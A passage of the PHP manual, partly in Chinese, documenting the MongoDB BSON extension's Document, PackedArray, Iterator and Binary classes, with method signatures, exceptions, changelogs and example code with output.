[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\Document::fromPHP($document);
echo $bson->toCanonicalExtendedJSON(), "\n";
}

?>

以上示例会输出：

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : { "$numberInt" : "123" } }
{ "int64" : { "$numberLong" : "4294967295"} }
{ "double" : { "$numberDouble" : "1.0" } }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : { "$numberLong" : "1445990400000" } } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : { "$numberInt" : "1" } } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

参见

  • MongoDB\BSON\Document::fromJSON() - Construct a new document instance from a JSON string
  • MongoDB\BSON\Document::toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of the BSON document
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • » Extended JSON Specification
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the PHP representation of the BSON document

  • ? MongoDB\BSON\Document::toCanonicalExtendedJSON
  • MongoDB\BSON\Document::toRelaxedExtendedJSON ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Returns the PHP representation of the BSON document

MongoDB\BSON\Document::toPHP

(mongodb >=1.16.0)

MongoDB\BSON\Document::toPHP — Returns the PHP representation of the BSON document

说明

final public MongoDB\BSON\Document::toPHP(?array $typeMap = null): array|object

Unserializes the BSON document to its PHP representation. The typeMap paramater may be used to control the PHP types used for converting BSON arrays and documents (both root and embedded).

Warning

BSON documents can technically contain duplicate keys because documents are stored as a list of key-value pairs; however, applications should refrain from generating documents with duplicate keys as server and driver behavior may be undefined. Since PHP objects and arrays cannot have duplicate keys, data could also be lost when decoding a BSON document with duplicate keys.

参数

typeMap (array)

Type map configuration.

返回值

The decoded PHP value.

Note: When encountering a value encoded as 64-bit integer in the BSON document, the return value of this method will be a MongoDB\BSON\Int64 instance.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if a class in the type map cannot be instantiated or does not implement MongoDB\BSON\Unserializable.

参见

  • MongoDB\BSON\toPHP() - Returns the PHP representation of a BSON value
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Relaxed Extended JSON representation of the BSON document

  • ? MongoDB\BSON\Document::toPHP
  • MongoDB\BSON\Document::__toString ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Returns the Relaxed Extended JSON representation of the BSON document

MongoDB\BSON\Document::toRelaxedExtendedJSON

(mongodb >=1.16.0)

MongoDB\BSON\Document::toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of the BSON document

说明

final public MongoDB\BSON\Document::toRelaxedExtendedJSON(): string

Converts the BSON document to its » Relaxed Extended JSON representation. The relaxed format prefers use of JSON type primitives at the expense of type fidelity and is most suited for producing output that can be easily consumed by web APIs and humans.

参数

此函数没有参数。

示例

Example #1 MongoDB\BSON\Document::toRelaxedExtendedJSON() example

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\Document::fromPHP($document);
echo $bson->toRelaxedExtendedJSON(), "\n";
}

?>

以上示例会输出：

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : 123 }
{ "int64" : 4294967295 }
{ "double" : 1.0 }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : "2015-10-28T00:00:00Z" } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : 1 } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

参见

  • MongoDB\BSON\Document::fromJSON() - Construct a new document instance from a JSON string
  • MongoDB\BSON\Document::toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of the BSON document
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » Extended JSON Specification
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this BSON Document

  • ? MongoDB\BSON\Document::toRelaxedExtendedJSON
  • MongoDB\BSON\Document::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Returns the string representation of this BSON Document

MongoDB\BSON\Document::__toString

(mongodb >=1.16.0)

MongoDB\BSON\Document::__toString — Returns the string representation of this BSON Document

说明

final public MongoDB\BSON\Document::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this document as BSON.

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a BSON document

  • ? MongoDB\BSON\Document::__toString
  • MongoDB\BSON\PackedArray ?
  • PHP Manual
  • MongoDB\BSON\Document
  • Unserialize a BSON document

MongoDB\BSON\Document::unserialize

(mongodb >=1.16.0)

MongoDB\BSON\Document::unserialize — Unserialize a BSON document

说明

final public MongoDB\BSON\Document::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Document.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. data was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\Document::serialize() - Serialize a Document
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\PackedArray class

(mongodb >=1.16.0)

简介

Represents a BSON array. This class is used when reading data as raw BSON and cannot be modified.

类摘要

final class MongoDB\BSON\PackedArray implements MongoDB\BSON\Type, IteratorAggregate, Serializable {
/* 方法 */
final private __construct()
final static public fromPHP(array $value): MongoDB\BSON\PackedArray
final public get(int $key): mixed
final public getIterator(): MongoDB\BSON\Iterator
final public has(int $index): bool
final public serialize(): string
final public toPHP(?array $typeMap = null): array|object
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.17.0 | Implements MongoDB\BSON\Type.
PECL mongodb 1.17.0 | MongoDB\BSON\PackedArray cannot be serialized in contexts where a BSON document is expected. In earlier versions, the BSON array would have been converted to a document.

Table of Contents

  • MongoDB\BSON\PackedArray::__construct — Construct a new BSON array (unused)
  • MongoDB\BSON\PackedArray::fromPHP — Construct a new BSON array instance from PHP data
  • MongoDB\BSON\PackedArray::get — Returns the value of an index in the array
  • MongoDB\BSON\PackedArray::getIterator — Returns an iterator for the BSON array
  • MongoDB\BSON\PackedArray::has — Returns whether a index is present in the array
  • MongoDB\BSON\PackedArray::serialize — Serialize a BSON array
  • MongoDB\BSON\PackedArray::toPHP — Returns the PHP representation of the BSON array
  • MongoDB\BSON\PackedArray::__toString — Returns the string representation of this BSON array
  • MongoDB\BSON\PackedArray::unserialize — Unserialize a BSON array

User Contributed Notes

There are no user contributed notes for this page.


Construct a new BSON array (unused)

  • ? MongoDB\BSON\PackedArray
  • MongoDB\BSON\PackedArray::fromPHP ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Construct a new BSON array (unused)

MongoDB\BSON\PackedArray::__construct

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::__construct — Construct a new BSON array (unused)

说明

final private MongoDB\BSON\PackedArray::__construct()

MongoDB\BSON\PackedArray objects are created through static factory methods and cannot be instantiated directly.

参数

此函数没有参数。

参见

  • MongoDB\BSON\PackedArray::fromPHP() - Construct a new BSON array instance from PHP data
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Construct a new BSON array instance from PHP data

  • ? MongoDB\BSON\PackedArray::__construct
  • MongoDB\BSON\PackedArray::get ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Construct a new BSON array instance from PHP data

MongoDB\BSON\PackedArray::fromPHP

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::fromPHP — Construct a new BSON array instance from PHP data

说明

final static public MongoDB\BSON\PackedArray::fromPHP(array $value): MongoDB\BSON\PackedArray

参数

value (array)

The PHP array to convert to a BSON array. The array must be a list (i.e. have sequential numeric keys starting with 0).

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the given array is not a list (i.e. has sequential numeric keys starting with 0).

参见

  • MongoDB\BSON\fromPHP() - Returns the BSON representation of a PHP value
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of an index in the array

  • ? MongoDB\BSON\PackedArray::fromPHP
  • MongoDB\BSON\PackedArray::getIterator ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Returns the value of an index in the array

MongoDB\BSON\PackedArray::get

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::get — Returns the value of an index in the array

说明

final public MongoDB\BSON\PackedArray::get(int $key): mixed

参数

key (int)

The index to retrieve from the array.

返回值

Returns the value associated with the given index. If the index is not present in the document, an exception is thrown.

Note: When encountering a value encoded as 64-bit integer in the BSON array, the return value of this method will be a MongoDB\BSON\Int64 instance.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\RuntimeException if the index is not present in the array.

参见

  • MongoDB\BSON\PackedArray::has() - Returns whether a index is present in the array
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns an iterator for the BSON array

  • ? MongoDB\BSON\PackedArray::get
  • MongoDB\BSON\PackedArray::has ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Returns an iterator for the BSON array

MongoDB\BSON\PackedArray::getIterator

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::getIterator — Returns an iterator for the BSON array

说明

final public MongoDB\BSON\PackedArray::getIterator(): MongoDB\BSON\Iterator

参数

此函数没有参数。

返回值

Returns a MongoDB\BSON\Iterator instance that can be used to iterate over all indexes in the array.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the BSON iterator could not be initialized.

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns whether a index is present in the array

  • ? MongoDB\BSON\PackedArray::getIterator
  • MongoDB\BSON\PackedArray::serialize ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Returns whether a index is present in the array

MongoDB\BSON\PackedArray::has

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::has — Returns whether a index is present in the array

说明

final public MongoDB\BSON\PackedArray::has(int $index): bool

参数

index (int)

The index to look for in the array.

返回值

Returns true if the index is present in the array and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\PackedArray::get() - Returns the value of an index in the array
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Serialize a BSON array

  • ? MongoDB\BSON\PackedArray::has
  • MongoDB\BSON\PackedArray::toPHP ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Serialize a BSON array

MongoDB\BSON\PackedArray::serialize

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::serialize — Serialize a BSON array

说明

final public MongoDB\BSON\PackedArray::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\PackedArray.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\PackedArray::unserialize() - Unserialize a BSON array
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the PHP representation of the BSON array

  • ? MongoDB\BSON\PackedArray::serialize
  • MongoDB\BSON\PackedArray::__toString ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Returns the PHP representation of the BSON array

MongoDB\BSON\PackedArray::toPHP

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::toPHP — Returns the PHP representation of the BSON array

说明

final public MongoDB\BSON\PackedArray::toPHP(?array $typeMap = null): array|object

参数

typeMap (array)

Type map configuration.

返回值

The decoded PHP value.

Note: When encountering a value encoded as 64-bit integer in the BSON array, the return value of this method will be a MongoDB\BSON\Int64 instance.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if a class in the type map cannot be instantiated or does not implement MongoDB\BSON\Unserializable.

参见

  • MongoDB\BSON\toPHP() - Returns the PHP representation of a BSON value
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this BSON array

  • ? MongoDB\BSON\PackedArray::toPHP
  • MongoDB\BSON\PackedArray::unserialize ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Returns the string representation of this BSON array

MongoDB\BSON\PackedArray::__toString

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::__toString — Returns the string representation of this BSON array

说明

final public MongoDB\BSON\PackedArray::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this array as BSON.

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a BSON array

  • ? MongoDB\BSON\PackedArray::__toString
  • MongoDB\BSON\Iterator ?
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Unserialize a BSON array

MongoDB\BSON\PackedArray::unserialize

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::unserialize — Unserialize a BSON array

说明

final public MongoDB\BSON\PackedArray::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\PackedArray.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. data was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\PackedArray::serialize() - Serialize a BSON array
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Iterator class

(mongodb >=1.16.0)

简介

Iterator used to iterate a BSON document or array.

类摘要

final class MongoDB\BSON\Iterator implements Iterator {
/* 方法 */
final private __construct()
public current(): mixed
public key(): string|int
public next(): void
public rewind(): void
public valid(): bool
}

Table of Contents

  • MongoDB\BSON\Iterator::__construct — Construct a new BSON iterator (unused)
  • MongoDB\BSON\Iterator::current — Returns the current element
  • MongoDB\BSON\Iterator::key — Returns the key of the current element
  • MongoDB\BSON\Iterator::next — Advances the iterator to next element
  • MongoDB\BSON\Iterator::rewind — Rewinds the Iterator to the first element
  • MongoDB\BSON\Iterator::valid — Checks if current position is valid

User Contributed Notes

There are no user contributed notes for this page.


Construct a new BSON iterator (unused)

  • ? MongoDB\BSON\Iterator
  • MongoDB\BSON\Iterator::current ?
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Construct a new BSON iterator (unused)

MongoDB\BSON\Iterator::__construct

(No version information available, might only be in Git)

MongoDB\BSON\Iterator::__construct — Construct a new BSON iterator (unused)

说明

final private MongoDB\BSON\Iterator::__construct()

MongoDB\BSON\Iterator objects are created by calling MongoDB\BSON\Document::getIterator() or MongoDB\BSON\PackedArray::getIterator() and cannot be instantiated directly.

参数

此函数没有参数。

参见

  • MongoDB\BSON\Document::getIterator() - Returns an iterator for the BSON document
  • MongoDB\BSON\PackedArray::getIterator() - Returns an iterator for the BSON array
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the current element

  • ? MongoDB\BSON\Iterator::__construct
  • MongoDB\BSON\Iterator::key ?
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Returns the current element

MongoDB\BSON\Iterator::current

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::current — Returns the current element

说明

public MongoDB\BSON\Iterator::current(): mixed

参数

此函数没有参数。

返回值

Returns the value of the current element.

Note: When encountering a value encoded as 64-bit integer in the BSON structure, the return value of this method will be a MongoDB\BSON\Int64 instance.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\LogicException if the iterator is not valid.

参见

  • Iterator::current() - 返回当前元素

User Contributed Notes

There are no user contributed notes for this page.


Returns the key of the current element

  • ? MongoDB\BSON\Iterator::current
  • MongoDB\BSON\Iterator::next ?
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Returns the key of the current element

MongoDB\BSON\Iterator::key

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::key — Returns the key of the current element

说明

public MongoDB\BSON\Iterator::key(): string|int

参数

此函数没有参数。

返回值

Returns the key of the current element. When iterating a BSON document, the key will always be a string. When iterating a BSON array, the key will be an int.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\LogicException if the iterator is not valid.

参见

  • Iterator::key() - 返回当前元素的键

User Contributed Notes

There are no user contributed notes for this page.


Advances the iterator to next element

  • ? MongoDB\BSON\Iterator::key
  • MongoDB\BSON\Iterator::rewind ?
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Advances the iterator to next element

MongoDB\BSON\Iterator::next

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::next — Advances the iterator to next element

说明

public MongoDB\BSON\Iterator::next(): void

参数

此函数没有参数。

参见

  • Iterator::next() - 向前移动到下一个元素

User Contributed Notes

There are no user contributed notes for this page.


Rewinds the Iterator to the first element

  • ? MongoDB\BSON\Iterator::next
  • MongoDB\BSON\Iterator::valid ?
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Rewinds the Iterator to the first element

MongoDB\BSON\Iterator::rewind

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::rewind — Rewinds the Iterator to the first element

说明

public MongoDB\BSON\Iterator::rewind(): void

参数

此函数没有参数。

参见

  • Iterator::rewind() - 返回到迭代器的第一个元素

User Contributed Notes

There are no user contributed notes for this page.


Checks if current position is valid

  • ? MongoDB\BSON\Iterator::rewind
  • MongoDB\BSON\Binary ?
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Checks if current position is valid

MongoDB\BSON\Iterator::valid

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::valid — Checks if current position is valid

说明

public MongoDB\BSON\Iterator::valid(): bool

参数

此函数没有参数。

返回值

Returns true if the current iterator position is valid, false otherwise.

参见

  • Iterator::valid() - 检查当前位置是否有效

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Binary class

(mongodb >=1.0.0)

简介

BSON type for binary data (i.e. array of bytes). Binary values also have a subtype, which is used to indicate what kind of data is in the byte array. Subtypes from zero to 127 are predefined or reserved. Subtypes from 128-255 are user-defined.

类摘要

final class MongoDB\BSON\Binary implements MongoDB\BSON\BinaryInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 常量 */
const int TYPE_GENERIC = 0;
const int TYPE_FUNCTION = 1;
const int TYPE_OLD_BINARY = 2;
const int TYPE_OLD_UUID = 3;
const int TYPE_UUID = 4;
const int TYPE_MD5 = 5;
const int TYPE_ENCRYPTED = 6;
const int TYPE_COLUMN = 7;
const int TYPE_SENSITIVE = 8;
const int TYPE_USER_DEFINED = 128;
/* 方法 */
final public __construct(string $data, int $type = MongoDB\BSON\Binary::TYPE_GENERIC)
final public getData(): string
final public getType(): int
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

预定义常量

MongoDB\BSON\Binary::TYPE_GENERIC

Generic binary data.

MongoDB\BSON\Binary::TYPE_FUNCTION

Function.

MongoDB\BSON\Binary::TYPE_OLD_BINARY

Generic binary data (deprecated in favor of MongoDB\BSON\Binary::TYPE_GENERIC).

MongoDB\BSON\Binary::TYPE_OLD_UUID

Universally unique identifier (deprecated in favor of MongoDB\BSON\Binary::TYPE_UUID). When using this type, the Binary's data should be 16 bytes in length.

Historically, other drivers encoded values with this type based on their language conventions (e.g. varying endianness), which makes it non-portable. The PHP driver applies no special handling for encoding or decoding data with this type.

MongoDB\BSON\Binary::TYPE_UUID

Universally unique identifier. When using this type, the Binary's data should be 16 bytes in length and encoded according to » RFC 4122.

MongoDB\BSON\Binary::TYPE_MD5

MD5 hash. When using this type, the Binary's data should be 16 bytes in length.

MongoDB\BSON\Binary::TYPE_ENCRYPTED

Encrypted value. This subtype is used for client-side encryption.

MongoDB\BSON\Binary::TYPE_COLUMN

Column data. This subtype is used for time-series collections.

MongoDB\BSON\Binary::TYPE_SENSITIVE

Sensitive data. This subtype is used for sensitive data that should be excluded from server-side logging when possible.

MongoDB\BSON\Binary::TYPE_USER_DEFINED

User-defined type. While types between 0 and 127 are predefined or reserved, types between 128 and 255 are user-defined and may be used for anything.

更新日志

版本 | 说明
PECL mongodb 1.17.0 | Added MongoDB\BSON\Binary::TYPE_SENSITIVE.
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+. Added MongoDB\BSON\Binary::TYPE_COLUMN.
PECL mongodb 1.7.0 | Added MongoDB\BSON\Binary::TYPE_ENCRYPTED.
PECL mongodb 1.3.0 | Implements MongoDB\BSON\BinaryInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\Binary::__construct — Construct a new Binary
  • MongoDB\BSON\Binary::getData — Returns the Binary's data
  • MongoDB\BSON\Binary::getType — Returns the Binary's type
  • MongoDB\BSON\Binary::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Binary::serialize — Serialize a Binary
  • MongoDB\BSON\Binary::__toString — Returns the Binary's data
  • MongoDB\BSON\Binary::unserialize — Unserialize a Binary

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Binary

  • ? MongoDB\BSON\Binary
  • MongoDB\BSON\Binary::getData ?
  • PHP Manual
  • MongoDB\BSON\Binary
  • Construct a new Binary

MongoDB\BSON\Binary::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Binary::__construct — Construct a new Binary

说明

final public MongoDB\BSON\Binary::__construct(string $data, int $type = MongoDB\BSON\Binary::TYPE_GENERIC)

参数

data (string)

Binary data.

type (int)

Unsigned 8-bit integer denoting the data's type. Defaults to MongoDB\BSON\Binary::TYPE_GENERIC if not specified.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if type is not an unsigned 8-bit integer.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if type is MongoDB\BSON\Binary::TYPE_UUID or MongoDB\BSON\Binary::TYPE_OLD_UUID and data is not exactly 16 bytes in length.

更新日志

版本 | 说明
PECL mongodb 1.15.0 | The type parameter defaults to MongoDB\BSON\Binary::TYPE_GENERIC if not specified.
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\InvalidArgumentException is thrown if type is MongoDB\BSON\Binary::TYPE_UUID or MongoDB\BSON\Binary::TYPE_OLD_UUID and data is not exactly 16 bytes in length.
PECL mongodb 1.1.3 | MongoDB\Driver\Exception\InvalidArgumentException is thrown if type is not an unsigned 8-bit integer.

示例

Example #1 MongoDB\BSON\Binary::__construct() example

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary);

?>

以上示例会输出：

object(MongoDB\BSON\Binary)#1 (2) {
  ["data"]=>
  string(3) "foo"
  ["type"]=>
  int(0)
}

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Binary's data

  • ? MongoDB\BSON\Binary::__construct
  • MongoDB\BSON\Binary::getType ?
  • PHP Manual
  • MongoDB\BSON\Binary
  • Returns the Binary's data

MongoDB\BSON\Binary::getData

(mongodb >=1.0.0)

MongoDB\BSON\Binary::getData — Returns the Binary's data

说明

final public MongoDB\BSON\Binary::getData(): string

参数

此函数没有参数。

返回值

Returns the Binary's data.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\Binary::getData() example

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary->getData());

?>

以上示例会输出：

string(3) "foo"

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Binary's type

  • ? MongoDB\BSON\Binary::getData
  • MongoDB\BSON\Binary::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\Binary
  • Returns the Binary's type

MongoDB\BSON\Binary::getType

(mongodb >=1.0.0)

MongoDB\BSON\Binary::getType — Returns the Binary's type

说明

final public MongoDB\BSON\Binary::getType(): int

参数

此函数没有参数。

返回值

Returns the Binary's type.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\Binary::getType() example

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary->getType());

?>

以上示例会输出：

int(0)

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\Binary::getType
  • MongoDB\BSON\Binary::serialize ?
  • PHP Manual
  • MongoDB\BSON\Binary
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Binary::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\Binary::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Binary.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Binary

  • ? MongoDB\BSON\Binary::jsonSerialize
  • MongoDB\BSON\Binary::__toString ?
  • PHP Manual
  • MongoDB\BSON\Binary
  • Serialize a Binary

MongoDB\BSON\Binary::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::serialize — Serialize a Binary

说明

final public MongoDB\BSON\Binary::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Binary.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Binary::unserialize() - Unserialize a Binary
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the Binary's data

  • ? MongoDB\BSON\Binary::serialize
  • MongoDB\BSON\Binary::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Binary
  • Returns the Binary's data

MongoDB\BSON\Binary::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Binary::__toString — Returns the Binary's data

说明

final public MongoDB\BSON\Binary::__toString(): string

此方法是该方法的别名： MongoDB\BSON\Binary::getData().

参数

此函数没有参数。

返回值

Returns the Binary's data.

示例

Example #1 MongoDB\BSON\Binary::__toString() example

<?php

